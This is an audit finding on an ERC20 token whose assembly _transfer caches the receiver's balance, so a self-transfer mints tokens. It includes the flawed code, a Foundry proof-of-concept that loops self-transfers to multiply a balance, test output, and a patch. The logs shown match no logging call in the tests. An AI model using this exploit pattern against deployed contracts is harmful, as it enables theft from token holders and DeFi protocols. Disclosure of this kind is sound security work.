Description
In a standard ERC20 implementation, when a user transfers tokens to themselves (from == to), the balance should remain unchanged. The transfer should simply debit and credit the same account with no net effect.
The _transfer function in ERC20Internals.sol reads both the sender's and receiver's balances before performing any storage writes. When from == to, both slots point to the same storage location, but toAmount is cached with the original balance value. After subtracting from the sender's balance, the receiver's balance is then set to the original cached value plus the transfer amount, effectively creating tokens out of thin air.
Both transfer() and transferFrom() are affected since they both call _transfer() internally.
function _transfer(address from, address to, uint256 value) internal returns (bool success) {
assembly ("memory-safe") {
let ptr := mload(0x40)
let baseSlot := _balances.slot
mstore(ptr, from)
mstore(add(ptr, 0x20), baseSlot)
let fromSlot := keccak256(ptr, 0x40)
let fromAmount := sload(fromSlot)
mstore(ptr, to)
mstore(add(ptr, 0x20), baseSlot)
let toSlot := keccak256(ptr, 0x40)
let toAmount := sload(toSlot)
if lt(fromAmount, value) {
}
sstore(fromSlot, sub(fromAmount, value))
sstore(toSlot, add(toAmount, value))
success := 1
}
}
Risk
Likelihood: High
-
Any user can call transfer(msg.sender, amount) at any time with any amount up to their balance
-
No special permissions, conditions, or external dependencies required
-
Attack is trivially repeatable to exponentially increase balance
Impact: Critical
-
Attackers can mint unlimited tokens by repeatedly self-transferring
-
Total supply becomes desynced from actual circulating balances
-
Complete destruction of token economics and trust
-
All DeFi integrations (AMMs, lending protocols, etc.) can be drained
-
Token becomes worthless as supply is effectively infinite
Proof of Concept
pragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {Token} from "./Token.sol";
contract SelfTransferExploit is Test {
Token public token;
function setUp() public {
token = new Token();
}
function test_SelfTransfer_CreatesTokens() public {
address alice = makeAddr("alice");
token.mint(alice, 100e18);
assertEq(token.balanceOf(alice), 100e18);
assertEq(token.totalSupply(), 100e18);
vm.prank(alice);
token.transfer(alice, 50e18);
assertEq(token.balanceOf(alice), 150e18);
assertEq(token.totalSupply(), 100e18);
}
function test_UnlimitedMint_Attack() public {
address attacker = makeAddr("attacker");
token.mint(attacker, 1e18);
vm.startPrank(attacker);
for(uint i = 0; i < 10; i++) {
uint256 currentBalance = token.balanceOf(attacker);
token.transfer(attacker, currentBalance);
}
vm.stopPrank();
assertEq(token.balanceOf(attacker), 1024e18);
}
}
Test Output:
[PASS] test_SelfTransfer_CreatesTokens() (gas: 73418)
Logs:
Alice balance after self-transfer: 150000000000000000000
Total supply (unchanged): 100000000000000000000
[PASS] test_UnlimitedMint_Attack() (gas: 254952)
Logs:
Initial balance: 1000000000000000000
Final balance after 10 self-transfers: 1024000000000000000000
Recommended Mitigation
Add an early return when from == to to prevent the self-transfer edge case, or restructure the logic to handle this case correctly:
function _transfer(address from, address to, uint256 value) internal returns (bool success) {
assembly ("memory-safe") {
if iszero(from) {
mstore(0x00, shl(224, 0x96c6fd1e))
mstore(add(0x00, 4), 0x00)
revert(0x00, 0x24)
}
if iszero(to) {
mstore(0x00, shl(224, 0xec442f05))
mstore(add(0x00, 4), 0x00)
revert(0x00, 0x24)
}
+ // Handle self-transfer: emit event but don't modify balances
+ if eq(from, to) {
+ let ptr := mload(0x40)
+ mstore(ptr, value)
+ log3(ptr, 0x20, 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, from, to)
+ success := 1
+ leave
+ }
let ptr := mload(0x40)
let baseSlot := _balances.slot
// ... rest of function unchanged ...
}
}